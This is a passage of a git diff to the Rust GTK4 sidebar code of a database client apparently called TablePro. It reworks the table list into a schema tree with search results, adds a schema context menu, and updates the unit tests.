-    pub(super) objects: RefCell<HashMap<u32, SidebarObject>>,
+    /// The index's entries the list shows, in list order.
+    pub(super) entries: RefCell<Entries>,
+    /// The rows made so far, by position: the same position gives the
+    /// same object until the list shows other entries. GtkTreeListModel
+    /// asks for every row of a schema it opens, so a lookup by hash
+    /// would cost as much again as making the rows.
+    pub(super) objects: RefCell<Vec<Option<SidebarObject>>>,
 }
 
 #[glib::object_subclass]
 impl ObjectSubclass for SidebarList {
     const NAME: &'static str = "TableProSidebarList";
     type Type = super::sidebar_list::SidebarList;
-    type Interfaces = (gio::ListModel, gtk::SectionModel);
+    type Interfaces = (gio::ListModel,);
 }
 
 impl ObjectImpl for SidebarList {}
@@ -37,31 +36,24 @@ impl ListModelImpl for SidebarList {
     }
 
     fn n_items(&self) -> u32 {
-        u32::try_from(self.shown.borrow().len()).unwrap_or(u32::MAX)
+        self.entries.borrow().len()
     }
 
     fn item(&self, position: u32) -> Option<glib::Object> {
-        let entry = *self.shown.borrow().get(position as usize)?;
-        if let Some(object) = self.objects.borrow().get(&entry) {
+        let entries = self.entries.borrow();
+        let entry = entries.get(position)?;
+        let at = position as usize;
+        if let Some(Some(object)) = self.objects.borrow().get(at) {
             return Some(object.clone().upcast());
         }
         let index = self.index.borrow();
-        let row = index.entry(entry)?;
-        let section = index.section(row.section)?;
-        let object = SidebarObject::new(&row.table, row.kind, &section.title);
-        self.objects.borrow_mut().insert(entry, object.clone());
-        Some(object.upcast())
-    }
-}
-
-impl SectionModelImpl for SidebarList {
-    /// Past the last row, GTK expects one range from the end onwards.
-    fn section(&self, position: u32) -> (u32, u32) {
-        let runs = self.runs.borrow();
-        let at = runs.partition_point(|&(_, end)| end <= position);
-        match runs.get(at) {
-            Some(&(start, end)) if start <= position => (start, end),
-            _ => (self.n_items(), u32::MAX),
+        index.entry(entry)?;
+        let object = SidebarObject::new(&index, entry);
+        let mut objects = self.objects.borrow_mut();
+        if objects.len() <= at {
+            objects.resize(entries.len() as usize, None);
         }
+        objects[at] = Some(object.clone());
+        Some(object.upcast())
     }
 }
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_menu.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_menu.rs
index 81ce725aa9..c6c9cf6479 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_menu.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_menu.rs
@@ -1,8 +1,10 @@
 use gtk4::gio;
+use gtk4::prelude::*;
 use tablepro_core::meta::ObjectKind;
 
 use super::object_key::ObjectKey;
 use super::sidebar_affordances::SidebarAffordances;
+use super::sidebar_view::Holds;
 
 pub(super) const OPEN_IN_NEW_TAB: &str = "open-in-new-tab";
 pub(super) const EDIT_STRUCTURE: &str = "edit-structure";
@@ -11,10 +13,8 @@ pub(super) const IMPORT_CSV: &str = "import-csv";
 pub(super) const DROP_TABLE: &str = "drop-table";
 pub(super) const NEW_TABLE: &str = "new-table";
 pub(super) const SHOW_DIAGRAM: &str = "show-diagram";
-/// The section header's button, whose target is the schema, as New
-/// Table's is.
+/// A schema's diagram, whose target is the schema, as New Table's is.
 pub(super) const SHOW_SCHEMA_DIAGRAM: &str = "show-schema-diagram";
-pub(super) const CONTEXT_MENU: &str = "context-menu";
 pub(super) const GROUP: &str = "sidebar";
 
 /// The menu of one table. Every item carries the table's key, so the one
@@ -62,6 +62,30 @@ pub(crate) fn object_menu(key: &ObjectKey, kind: ObjectKind, affordances: Sideba
     menu
 }
 
+/// A schema's menu: New Table where the connection creates tables, and
+/// the schema's diagram where it holds tables in SQL. ClickHouse creates
+/// none: a table there needs an engine and a sorting key the structure
+/// tab has no place for. Keys have neither. Each item carries the schema,
+/// or nothing for the objects an engine lists with none.
+pub(crate) fn schema_menu(schema: Option<&str>, affordances: SidebarAffordances, holds: Holds) -> Option<gio::Menu> {
+    if holds == Holds::Keys {
+        return None;
+    }
+    let menu = gio::Menu::new();
+    let target = schema.map(str::to_owned).to_variant();
+    if affordances.offers_new_table() {
+        let item = gio::MenuItem::new(Some(&crate::i18n::gettext("New Table…")), None);
+        item.set_action_and_target_value(Some(&format!("{GROUP}.{NEW_TABLE}")), Some(&target));
+        menu.append_item(&item);
+    }
+    if affordances.speaks_sql {
+        let item = gio::MenuItem::new(Some(&crate::i18n::gettext("Show ER Diagram")), None);
+        item.set_action_and_target_value(Some(&format!("{GROUP}.{SHOW_SCHEMA_DIAGRAM}")), Some(&target));
+        menu.append_item(&item);
+    }
+    (menu.n_items() > 0).then_some(menu)
+}
+
 /// Whether `action` is offered for a `kind` on a connection with
 /// `affordances`, as `object_menu` offers it.
 pub(super) fn offers(action: &str, kind: ObjectKind, affordances: SidebarAffordances) -> bool {
@@ -86,7 +110,6 @@ fn item(label: &str, action: &str, key: &ObjectKey) -> gio::MenuItem {
 #[cfg(test)]
 mod tests {
     use gtk4::glib;
-    use gtk4::prelude::*;
     use tablepro_core::meta::TableRef;
 
     use super::*;
@@ -197,6 +220,44 @@ mod tests {
         assert!(!offers(SHOW_CREATE_TABLE, ObjectKind::Table, documents));
     }
 
+    #[test]
+    fn a_schema_menu_offers_new_table_and_its_diagram_with_the_schema() {
+        let menu = schema_menu(Some("sales"), all(), Holds::Tables).expect("a menu");
+
+        let found = items(menu.upcast_ref());
+        let actions: Vec<&str> = found.iter().map(|(action, _)| action.as_str()).collect();
+        assert_eq!(actions, ["sidebar.new-table", "sidebar.show-schema-diagram"]);
+        for (action, target) in &found {
+            assert_eq!(
+                target.as_ref().and_then(|target| target.get::<Option<String>>()),
+                Some(Some("sales".to_owned())),
+                "{action}"
+            );
+        }
+    }
+
+    #[test]
+    fn a_schema_menu_follows_the_dialect_and_what_the_session_holds() {
+        let read_only = SidebarAffordances {
+            read_only: true,
+            ..all()
+        };
+        let documents = SidebarAffordances {
+            can_create_table: false,
+            can_edit_structure: false,
+            speaks_sql: false,
+            ..all()
+        };
+
+        let actions = |menu: Option<gio::Menu>| menu.map(|menu| actions(&menu)).unwrap_or_default();
+        assert_eq!(
+            actions(schema_menu(None, read_only, Holds::Tables)),
+            ["sidebar.show-schema-diagram"]
+        );
+        assert!(schema_menu(Some("shop"), documents, Holds::Collections).is_none());
+        assert!(schema_menu(None, all(), Holds::Keys).is_none(), "keys have no diagram");
+    }
+
     #[test]
     fn a_view_offers_no_structure_change() {
         let key = ObjectKey(TableRef::unqualified("active_users"));
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_model.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_model.rs
index dddf6aa77d..264125af6d 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_model.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_model.rs
@@ -1,172 +1,278 @@
 use std::cell::{Cell, RefCell};
+use std::collections::{HashMap, HashSet};
 use std::sync::Arc;
 
 use gtk4 as gtk;
+use gtk4::gio;
 use gtk4::prelude::*;
 use tablepro_core::meta::{ObjectKind, TableRef};
 
 use super::sidebar_index::{SidebarIndex, search_key};
-use super::sidebar_list::{SidebarList, SidebarRows};
-use super::sidebar_object::SidebarObject;
+use super::sidebar_list::{Entries, SidebarList};
+use super::store_sync;
+use super::tree_node::TreeNode;
+
+/// What the search asks of the session's list.
+#[derive(Debug, Clone, Default, PartialEq, Eq)]
+pub(crate) enum Search {
+    /// No search: the results list nothing.
+    #[default]
+    None,
+    /// Every row is a result: the server already matched the search.
+    Everything,
+    /// The rows whose `schema.name` holds this, as `search_key` gave it.
+    Text(String),
+}
 
-/// The sidebar's objects in schema sections, filtered by the search. A
-/// new index or search is worked out into rows apart from the list, and
-/// the list takes them in one change, so neither builds a widget or an
-/// object per table.
+/// The session's tables as the connection tree lists them: a schema
+/// node per section of the index, each over its tables and over the
+/// ones the search finds. A new index or search is worked out into rows
+/// apart from the lists. A schema's tables take their rows in place; a
+/// schema whose results change gets a new list of them, which the tree
+/// swaps in with every other schema's in one change. A list of what the
+/// search found makes objects only for the rows on screen.
 pub(crate) struct SidebarModel {
-    list: SidebarList,
-    selection: gtk::SingleSelection,
-    /// The index last given, which the list shows once its rows land.
+    /// Every section's schema, in list order.
+    schemas: gio::ListStore,
+    /// Holds `nothing` once a list landed with no table in it.
+    empty: gio::ListStore,
+    rows: gtk::FlattenListModel,
+    nothing: TreeNode,
+    /// The index last given, which the lists show once its rows land.
     index: RefCell<Arc<SidebarIndex>>,
-    /// The search as `search_key` gave it, empty for none.
-    query: RefCell<String>,
+    /// The index the lists show now.
+    shown: RefCell<Arc<SidebarIndex>>,
+    search: RefCell<Search>,
     /// Counts the indexes and searches given, so rows worked out for an
     /// older one never replace a newer one's.
     asked: Cell<u64>,
+    /// The last one whose rows the lists show.
+    answered: Cell<u64>,
 }
 
 /// The rows to work out for the index and search last given.
 pub(crate) struct RowsAsked {
     index: Arc<SidebarIndex>,
-    query: String,
+    search: Search,
     asked: u64,
 }
 
 impl RowsAsked {
     pub(crate) fn work_out(self) -> RowsWorkedOut {
+        let found = match &self.search {
+            Search::None => Found::Nothing,
+            Search::Everything => Found::Everything,
+            Search::Text(query) => Found::Picked(self.index.split_by_run(&self.index.matching(query))),
+        };
         RowsWorkedOut {
-            rows: SidebarRows::new(self.index, &self.query),
+            index: self.index,
+            found,
             asked: self.asked,
         }
     }
 }
 
+#[derive(Debug)]
+enum Found {
+    Nothing,
+    Everything,
+    /// Each run's entries the search finds, in run order.
+    Picked(Vec<Vec<u32>>),
+}
+
 #[derive(Debug)]
 pub(crate) struct RowsWorkedOut {
-    rows: SidebarRows,
+    index: Arc<SidebarIndex>,
+    found: Found,
     asked: u64,
 }
 
 impl SidebarModel {
     pub(crate) fn new() -> Self {
-        let list = SidebarList::new();
-        let selection = gtk::SingleSelection::new(Some(list.clone()));
-        selection.set_autoselect(false);
-        selection.set_can_unselect(true);
+        let schemas = gio::ListStore::new::<TreeNode>();
+        let empty = gio::ListStore::new::<TreeNode>();
+        let index: Arc<SidebarIndex> = Arc::default();
         Self {
-            index: RefCell::new(list.index()),
-            list,
-            selection,
-            query: RefCell::new(String::new()),
+            rows: flatten(&schemas, &empty),
+            schemas,
+            empty,
+            nothing: TreeNode::placeholder(&crate::i18n::gettext("No Tables")),
+            index: RefCell::new(index.clone()),
+            shown: RefCell::new(index),
+            search: RefCell::new(Search::None),
             asked: Cell::new(0),
+            answered: Cell::new(0),
         }
     }
 
+    /// Say what the placeholder says: no tables, keys or collections.
+    pub(crate) fn name_placeholder(&self, nothing: &str) {
+        self.nothing.set_title(nothing);
+    }
+
     pub(crate) fn replace(&self, index: SidebarIndex) -> RowsAsked {
         self.index.replace(Arc::new(index));
         self.ask()
     }
 
-    /// None when the search is the one already given.
+    /// The search typed, as the lists filter it. None when it is the one
+    /// already given.
     pub(crate) fn set_query(&self, query: &str) -> Option<RowsAsked> {
         let query = query.trim();
-        let prepared = if query.is_empty() {
-            String::new()
+        let search = if query.is_empty() {
+            Search::None
         } else {
-            search_key(query)
+            Search::Text(search_key(query))
         };
-        if self.query.replace(prepared.clone()) == prepared {
+        self.set_search(search)
+    }
+
+    pub(crate) fn set_search(&self, search: Search) -> Option<RowsAsked> {
+        if *self.search.borrow() == search {
             return None;
         }
+        self.search.replace(search);
         Some(self.ask())
     }
 
+    /// The search, given with the next index, which asks for both.
+    pub(crate) fn hold_search(&self, search: Search) {
+        self.search.replace(search);
+    }
+
     fn ask(&self) -> RowsAsked {
         let asked = self.asked.get() + 1;
         self.asked.set(asked);
         RowsAsked {
             index: self.index.borrow().clone(),
-            query: self.query.borrow().clone(),
+            search: self.search.borrow().clone(),
             asked,
         }
     }
 
-    /// Show rows worked out for the index and search last given. Rows a
-    /// later one overtook change nothing and come back.
-    pub(crate) fn show(&self, worked_out: RowsWorkedOut) -> Result<(), RowsWorkedOut> {
+    /// Show rows worked out for the index and search last given, and
+    /// hand back the index shown before, for the caller to let go of off
+    /// the GTK thread. Rows a later one overtook change nothing and come
+    /// back.
+    pub(crate) fn show(&self, worked_out: RowsWorkedOut) -> Result<Arc<SidebarIndex>, RowsWorkedOut> {
         if worked_out.asked != self.asked.get() {
             return Err(worked_out);
         }
-        self.unselect();
-        self.list.show(worked_out.rows);
-        Ok(())
+        self.answered.set(worked_out.asked);
+        let RowsWorkedOut { index, mut found, .. } = worked_out;
+        let held: HashMap<String, TreeNode> = (0..self.schemas.n_items())
+            .filter_map(|at| self.schemas.item(at).and_downcast::<TreeNode>())
+            .map(|node| (node.title(), node))
+            .collect();
+        let mut schemas = Vec::new();
+        // A schema named as an engine names the objects of none is a
+        // section of its own under the same title.
+        let mut titled: HashSet<&str> = HashSet::new();
+        for (at, run) in index.runs().iter().enumerate() {
+            let Some(section) = index.section(run.section) else {
+                continue;
+            };
+            let node = titled
+                .insert(section.title.as_str())
+                .then(|| held.get(&section.title).cloned())
+                .flatten()
+                .unwrap_or_else(|| TreeNode::schema(&section.title, None));
+            node.set_schema_name(index.entry(run.start).and_then(|entry| entry.table.schema.clone()));
+            if let Some(rows) = node.rows() {
+                rows.show(&index, Entries::Run(run.start, run.end));
+            }
+            let results = match &mut found {
+                Found::Nothing => Entries::default(),
+                Found::Everything => Entries::Run(run.start, run.end),
+                Found::Picked(picked) => Entries::Picked(picked.get_mut(at).map(std::mem::take).unwrap_or_default()),
+            };
+            if node.found_rows().is_none_or(|list| !list.shows(&index, &results)) {
+                let list = SidebarList::new();
+                list.show(&index, results);
+                node.set_found(list);
+            }
+            schemas.push(node);
+        }
+        store_sync::sync(&self.schemas, &schemas);
+        show_alone(&self.empty, &self.nothing, schemas.is_empty());
+        Ok(self.shown.replace(index))
     }
 
-    /// GtkSingleSelection looks for the selected row among every row a
-    /// change adds, which would make all of them. The caller selects
-    /// again once the list changed.
-    fn unselect(&self) {
-        self.selection.set_selected(gtk::INVALID_LIST_POSITION);
+    /// Every schema, as the tree lists them under the connection, then
+    /// the placeholder once the list holds none.
+    pub(crate) fn rows(&self) -> gio::ListModel {
+        self.rows.clone().upcast()
     }
 
-    /// The index the list shows now.
-    pub(crate) fn shown_index(&self) -> Arc<SidebarIndex> {
-        self.list.index()
+    pub(crate) fn schemas(&self) -> gio::ListModel {
+        self.schemas.clone().upcast()
     }
 
-    pub(crate) fn has_query(&self) -> bool {
-        !self.query.borrow().is_empty()
+    /// The index the lists show now.
+    pub(crate) fn shown_index(&self) -> Arc<SidebarIndex> {
+        self.shown.borrow().clone()
     }
 
-    /// Where `table` shows under the search, if it does.
-    pub(crate) fn position_of(&self, table: &TableRef) -> Option<u32> {
-        let entry = self.list.index().find(table)?;
-        self.list.position_of_entry(entry)
+    /// Whether the lists show what was last asked for.
+    pub(crate) fn settled(&self) -> bool {
+        self.answered.get() == self.asked.get()
     }
 
     /// The kind of `table` when it is listed at all, searched for or not.
     pub(crate) fn kind_of(&self, table: &TableRef) -> Option<ObjectKind> {
-        let index = self.list.index();
+        let index = self.shown.borrow();
         let entry = index.find(table)?;
         index.entry(entry).map(|entry| entry.kind)
     }
 
-    /// Select `table`'s row, or none. A table the search hides selects
-    /// none.
-    pub(crate) fn select(&self, table: Option<&TableRef>) {
-        let position = table
-            .and_then(|table| self.position_of(table))
-            .unwrap_or(gtk::INVALID_LIST_POSITION);
-        if self.selection.selected() != position {
-            self.selection.set_selected(position);
-        }
+    /// The schema whose tables hold `table`, and where among them.
+    pub(crate) fn locate(&self, table: &TableRef) -> Option<(TreeNode, u32)> {
+        self.locate_in(table, TreeNode::rows)
     }
 
-    pub(crate) fn object_at(&self, position: u32) -> Option<SidebarObject> {
-        self.list.item(position).and_downcast::<SidebarObject>()
+    /// The schema whose found tables hold `table`, and where among them.
+    pub(crate) fn locate_found(&self, table: &TableRef) -> Option<(TreeNode, u32)> {
+        self.locate_in(table, TreeNode::found_rows)
     }
 
-    pub(crate) fn selection(&self) -> &gtk::SingleSelection {
-        &self.selection
+    fn locate_in(
+        &self,
+        table: &TableRef,
+        list: fn(&TreeNode) -> Option<super::sidebar_list::SidebarList>,
+    ) -> Option<(TreeNode, u32)> {
+        let entry = self.shown.borrow().find(table)?;
+        let store = &self.schemas;
+        (0..store.n_items())
+            .filter_map(|at| store.item(at).and_downcast::<TreeNode>())
+            .find_map(|node| {
+                let offset = list(&node)?.position_of_entry(entry)?;
+                Some((node, offset))
+            })
     }
+}
 
-    pub(crate) fn shown(&self) -> u32 {
-        self.list.n_items()
-    }
+fn flatten(first: &gio::ListStore, then: &gio::ListStore) -> gtk::FlattenListModel {
+    let models = gio::ListStore::new::<gio::ListModel>();
+    models.append(first);
+    models.append(then);
+    gtk::FlattenListModel::new(Some(models))
+}
 
-    #[cfg(test)]
-    pub(crate) fn list(&self) -> &SidebarList {
-        &self.list
+/// `store` holds `node` alone when `shown`, else nothing.
+fn show_alone(store: &gio::ListStore, node: &TreeNode, shown: bool) {
+    let held = store.n_items() > 0;
+    if shown && !held {
+        store.append(node);
+    } else if !shown && held {
+        store.remove_all();
     }
 }
 
 #[cfg(test)]
 mod tests {
-    use std::cell::Cell;
-    use std::rc::Rc;
-
     use tablepro_core::meta::{ObjectInfo, SchemaInfo};
 
+    use super::super::sidebar_object::SidebarObject;
     use super::*;
 
     fn object(schema: &str, name: &str) -> ObjectInfo {
@@ -196,36 +302,44 @@ mod tests {
         }
     }
 
-    /// Each section's title and its rows' names, in list order.
-    fn sections(model: &SidebarModel) -> Vec<(String, Vec<String>)> {
-        let shown = model.selection();
-        let mut found = Vec::new();
-        let mut position = 0;
-        while position < shown.n_items() {
-            let (start, end) = shown.section(position);
-            let title = model
-                .object_at(start)
-                .map(|object| object.section_title())
-                .unwrap_or_default();
-            let names = (start..end)
-                .filter_map(|at| model.object_at(at))
-                .map(|object| object.name())
-                .collect();
-            found.push((title, names));
-            position = end;
-        }
-        found
+    fn nodes(store: &gio::ListModel) -> Vec<TreeNode> {
+        (0..store.n_items())
+            .filter_map(|at| store.item(at).and_downcast::<TreeNode>())
+            .collect()
+    }
+
+    fn names(list: &gio::ListModel) -> Vec<String> {
+        (0..list.n_items())
+            .filter_map(|at| list.item(at).and_downcast::<SidebarObject>())
+            .map(|object| object.name())
+            .collect()
+    }
+
+    /// Each schema's title and its tables' names.
+    fn listed(store: &gio::ListModel) -> Vec<(String, Vec<String>)> {
+        nodes(store)
+            .into_iter()
+            .map(|node| {
+                (
+                    node.title(),
+                    node.children().map(|list| names(&list)).unwrap_or_default(),
+                )
+            })
+            .collect()
+    }
+
+    /// Each schema the search found tables in, and their names.
+    fn found(model: &SidebarModel) -> Vec<(String, Vec<String>)> {
+        nodes(&model.schemas())
+            .into_iter()
+            .map(|node| (node.title(), node.found().map(|list| names(&list)).unwrap_or_default()))
+            .filter(|(_, names)| !names.is_empty())
+            .collect()
     }
 
     #[gtk4::test]
-    fn sections_put_default_schema_first_then_alphabetical_then_system() {
+    fn schemas_put_default_first_then_alphabetical_then_system() {
         let model = SidebarModel::new();
-        let schemas = [
-            schema("public", true, false),
-            schema("information_schema", false, true),
-            schema("sales", false, false),
-            schema("audit", false, false),
-        ];
 
         replace(
             &model,
@@ -237,92 +351,76 @@ mod tests {
                 object("public", "Accounts"),
                 object("sales", "Customers"),
             ],
-            &schemas,
+            &[
+                schema("public", true, false),
+                schema("information_schema", false, true),
+                schema("sales", false, false),
+                schema("audit", false, false),
+            ],
         );
 
+        let pair = |title: &str, names: &[&str]| (title.to_owned(), names.iter().map(|&n| n.to_owned()).collect());
         assert_eq!(
-            sections(&model),
+            listed(&model.schemas()),
             [
-                ("public".to_owned(), vec!["Accounts".to_owned(), "users".to_owned()]),
-                ("audit".to_owned(), vec!["log".to_owned()]),
-                ("sales".to_owned(), vec!["Customers".to_owned(), "orders".to_owned()]),
-                ("information_schema".to_owned(), vec!["tables".to_owned()]),
+                pair("public", &["Accounts", "users"]),
+                pair("audit", &["log"]),
+                pair("sales", &["Customers", "orders"]),
+                pair("information_schema", &["tables"]),
             ]
         );
+        assert!(found(&model).is_empty(), "results without a search");
+        assert_eq!(model.rows().n_items(), 4, "a placeholder beside the schemas");
     }
 
     #[gtk4::test]
-    fn replace_takes_every_row_out_then_puts_the_new_ones_in() {
-        let model = SidebarModel::new();
-        replace(&model, &[object("public", "old")], &[]);
-        let objects: Vec<ObjectInfo> = (0..5_000)
-            .map(|index| object(if index % 2 == 0 { "public" } else { "sales" }, &format!("t{index}")))
-            .collect();
-        let listed = Rc::new(Cell::new(0));
-        let shown = Rc::new(Cell::new(0));
-        let count = listed.clone();
-        model
-            .list()
-            .connect_items_changed(move |_, _, _, _| count.set(count.get() + 1));
-        let count = shown.clone();
-        model
-            .selection()
-            .connect_items_changed(move |_, _, _, _| count.set(count.get() + 1));
-
-        replace(&model, &objects, &[schema("public", true, false)]);
-
-        assert_eq!(
-            listed.get(),
-            2,
-            "the list did not take the old rows out, then put the new ones in"
-        );
-        assert_eq!(shown.get(), 2, "the list view was not told of both");
-        assert_eq!(model.shown(), 5_000);
-    }
-
-    #[gtk4::test]
-    fn search_filters_case_insensitively_without_rebuilding_the_index() {
+    fn a_search_fills_the_results_and_leaves_every_schema_as_it_was() {
         let model = SidebarModel::new();
         replace(
             &model,
             &[
-                object("public", "Users"),
-                object("auth", "tokens"),
+                object("public", "users"),
                 object("public", "orders"),
+                object("sales", "leads"),
             ],
             &[schema("public", true, false)],
         );
-        let index = model.list().index();
-
-        search(&model, "USE");
-        let names = |model: &SidebarModel| -> Vec<String> {
-            (0..model.shown())
-                .filter_map(|at| model.object_at(at))
-                .map(|object| object.name())
-                .collect()
-        };
-        assert_eq!(names(&model), ["Users"]);
-        search(&model, "auth.TOK");
-        assert_eq!(names(&model), ["tokens"]);
-        search(&model, "auth");
-        assert_eq!(names(&model), ["tokens"], "the schema matches too");
+        let before = nodes(&model.schemas());
+        let all = before.iter().filter_map(TreeNode::rows).collect::<Vec<_>>();
+        let changed = std::rc::Rc::new(Cell::new(0));
+        for list in &all {
+            let count = changed.clone();
+            list.connect_items_changed(move |_, _, _, _| count.set(count.get() + 1));
+        }
+
+        search(&model, "ORD");
+
+        assert_eq!(found(&model), [("public".to_owned(), vec!["orders".to_owned()])]);
+        assert_eq!(nodes(&model.schemas()), before, "a search made the schemas anew");
+        assert_eq!(changed.get(), 0, "a search changed a schema's tables");
         search(&model, "  ");
-        assert!(!model.has_query(), "blank is no search");
-        assert_eq!(model.shown(), 3);
+        assert!(found(&model).is_empty(), "no search, yet results");
+    }
 
-        assert!(Arc::ptr_eq(&index, &model.list().index()), "a search rebuilt the index");
+    #[gtk4::test]
+    fn the_placeholder_says_when_there_is_nothing_to_list() {
+        let model = SidebarModel::new();
+        assert_eq!(model.rows().n_items(), 0, "a placeholder before anything was listed");
+        replace(&model, &[], &[]);
+        let titles = |list: gio::ListModel| nodes(&list).iter().map(TreeNode::title).collect::<Vec<_>>();
+        assert_eq!(titles(model.rows()), ["No Tables"]);
+
+        replace(&model, &[object("public", "orders")], &[]);
+        search(&model, "zzz");
+
+        assert_eq!(titles(model.rows()), ["public"]);
+        assert!(found(&model).is_empty());
     }
 
     #[gtk4::test]
     fn rows_worked_out_for_an_older_list_or_search_are_dropped() {
         let model = SidebarModel::new();
         replace(&model, &[object("public", "orders")], &[]);
-        let names = |model: &SidebarModel| -> Vec<String> {
-            (0..model.shown())
-                .filter_map(|at| model.object_at(at))
-                .map(|object| object.name())
-                .collect()
-        };
 
         let listing = model.replace(SidebarIndex::build(
             &[object("public", "orders"), object("public", "users")],
@@ -331,6 +429,7 @@ mod tests {
         let older = model.set_query("ord").expect("a new search");
         let newer = model.set_query("us").expect("a new search");
 
+        assert!(!model.settled());
         assert!(
             model.show(newer.work_out()).is_ok(),
             "the last search's rows were dropped"
@@ -343,7 +442,12 @@ mod tests {
             model.show(listing.work_out()).is_err(),
             "a list's rows replaced a later search's"
         );
-        assert_eq!(names(&model), ["users"], "the search did not filter the new list");
+        assert!(model.settled());
+        assert_eq!(
+            found(&model),
+            [("public".to_owned(), vec!["users".to_owned()])],
+            "the search did not filter the new list"
+        );
         assert!(
             model.set_query(" US ").is_none(),
             "the same search was worked out again"
@@ -364,7 +468,7 @@ mod tests {
 
         replace(&model, &[object("public", "users"), routine, view], &[]);
 
-        assert_eq!(model.shown(), 2);
+        assert_eq!(listed(&model.schemas())[0].1.len(), 2);
         assert_eq!(
             model.kind_of(&TableRef::new(Some("public".to_owned()), "refresh")),
             None
@@ -376,47 +480,41 @@ mod tests {
     }
 
     #[gtk4::test]
-    fn a_selected_row_does_not_make_every_row_of_a_new_list() {
+    fn a_table_is_located_in_its_schema_and_among_the_results() {
         let model = SidebarModel::new();
-        let objects: Vec<ObjectInfo> = (0..5_000).map(|at| object("public", &format!("t{at:05}"))).collect();
-        replace(&model, &objects, &[]);
-        let last = TableRef::new(Some("public".to_owned()), "t04999");
-        model.select(Some(&last));
-
-        replace(&model, &objects, &[]);
-        search(&model, "t0");
-        search(&model, "t");
-        model.select(Some(&last));
-
-        assert_eq!(model.selection().selected(), 4_999);
-        assert!(
-            model.list().made() < 10,
-            "{} rows made for one selected",
-            model.list().made()
+        replace(
+            &model,
+            &[
+                object("public", "orders"),
+                object("public", "users"),
+                object("sales", "users"),
+            ],
+            &[schema("public", true, false)],
         );
+        let users = TableRef::new(Some("sales".to_owned()), "users");
+
+        let (node, offset) = model.locate(&users).expect("the table in its schema");
+        assert_eq!((node.title(), offset), ("sales".to_owned(), 0));
+        assert!(model.locate_found(&users).is_none(), "found with no search");
+
+        search(&model, "user");
+        let (node, offset) = model
+            .locate_found(&TableRef::new(Some("public".to_owned()), "users"))
+            .expect("found");
+        assert_eq!((node.title(), offset), ("public".to_owned(), 0));
+        assert_eq!(node.schema_name().as_deref(), Some("public"));
     }
 
     #[gtk4::test]
-    fn select_finds_the_table_under_the_search_or_clears() {
+    fn a_server_search_lists_every_row_it_returned_as_found() {
         let model = SidebarModel::new();
-        replace(&model, &[object("public", "orders"), object("public", "users")], &[]);
-        let users = TableRef::new(Some("public".to_owned()), "users");
+        model.hold_search(Search::Everything);
 
-        model.select(Some(&users));
-        assert_eq!(model.selection().selected(), 1);
+        replace(&model, &[object("public", "user:1"), object("public", "user:2")], &[]);
 
-        search(&model, "ord");
-        model.select(Some(&users));
-        assert_eq!(model.selection().selected(), gtk::INVALID_LIST_POSITION);
         assert_eq!(
-            model.kind_of(&users),
-            Some(ObjectKind::Table),
-            "a hidden table is still listed"
+            found(&model),
+            [("public".to_owned(), vec!["user:1".to_owned(), "user:2".to_owned()])]
         );
-
-        search(&model, "");
-        model.select(Some(&users));
-        model.select(None);
-        assert_eq!(model.selection().selected(), gtk::INVALID_LIST_POSITION);
     }
 }
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_object.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_object.rs
index 8b2c4a48e5..34fe94a085 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_object.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_object.rs
@@ -1,37 +1,43 @@
+use std::sync::Arc;
+
 use gtk4::glib;
 use gtk4::subclass::prelude::*;
-use tablepro_core::meta::{ObjectKind, TableRef};
+use tablepro_core::meta::{KeyKind, ObjectKind, TableRef};
 
+use super::sidebar_index::{IndexEntry, SidebarIndex};
 use super::sidebar_object_imp as imp;
 
 glib::wrapper! {
-    /// One table or view as the sidebar's list model holds it. It never
-    /// changes: a new object list replaces every object.
+    /// One table, view or key as a sidebar list holds it. It reads its
+    /// entry of the list's index rather than copying it: the tree makes
+    /// one for every row of a schema it opens. It never changes: a new
+    /// index replaces every object.
     pub struct SidebarObject(ObjectSubclass<imp::SidebarObject>);
 }
 
 impl SidebarObject {
-    /// `section_title` heads the section the object is in.
-    pub(crate) fn new(table: &TableRef, kind: ObjectKind, section_title: &str) -> Self {
+    pub(crate) fn new(index: &Arc<SidebarIndex>, entry: u32) -> Self {
         let this: Self = glib::Object::new();
         let imp = this.imp();
-        let _ = imp.title.set(section_title.to_owned());
-        let _ = imp.kind.set(kind);
-        let _ = imp.table.set(table.clone());
+        let _ = imp.index.set(index.clone());
+        imp.entry.set(entry);
         this
     }
 
-    /// Always set: `new` is the only way to build one.
+    fn row(&self) -> Option<&IndexEntry> {
+        let imp = self.imp();
+        imp.index.get()?.entry(imp.entry.get())
+    }
+
+    /// Always found: `new` is the only way to build one, from an entry
+    /// its index holds.
     pub(crate) fn table_ref(&self) -> TableRef {
-        self.imp()
-            .table
-            .get()
-            .cloned()
-            .unwrap_or_else(|| TableRef::unqualified(String::new()))
+        self.row()
+            .map_or_else(|| TableRef::unqualified(String::new()), |row| row.table.clone())
     }
 
     pub(crate) fn kind(&self) -> ObjectKind {
-        self.imp().kind.get().copied().unwrap_or(ObjectKind::Table)
+        self.row().map_or(ObjectKind::Table, |row| row.kind)
     }
 
     /// What the row's tooltip calls the table.
@@ -43,6 +49,26 @@ impl SidebarObject {
         }
     }
 
+    /// The name says what the row is; the icon only tells a view from a
+    /// table, or one kind of key from another, at a glance.
+    pub(crate) fn icon_name(&self) -> &'static str {
+        use crate::ui::icons;
+        match self.kind() {
+            ObjectKind::View => icons::VIEW_LIST,
+            ObjectKind::MaterializedView => icons::VIEW_PAGED,
+            ObjectKind::Key(kind) => match kind {
+                KeyKind::String => icons::TEXT_X_GENERIC,
+                KeyKind::Hash => icons::VIEW_GRID,
+                KeyKind::List => icons::VIEW_LIST,
+                KeyKind::Set => icons::VIEW_PAGED,
+                KeyKind::SortedSet => icons::VIEW_SORT_ASCENDING,
+                KeyKind::Stream => icons::DOCUMENT_OPEN_RECENT,
+                KeyKind::Other => icons::VIEW_MORE,
+            },
+            _ => icons::VIEW_GRID,
+        }
+    }
+
     /// What a screen reader says the row is, which sighted users read
     /// from its icon.
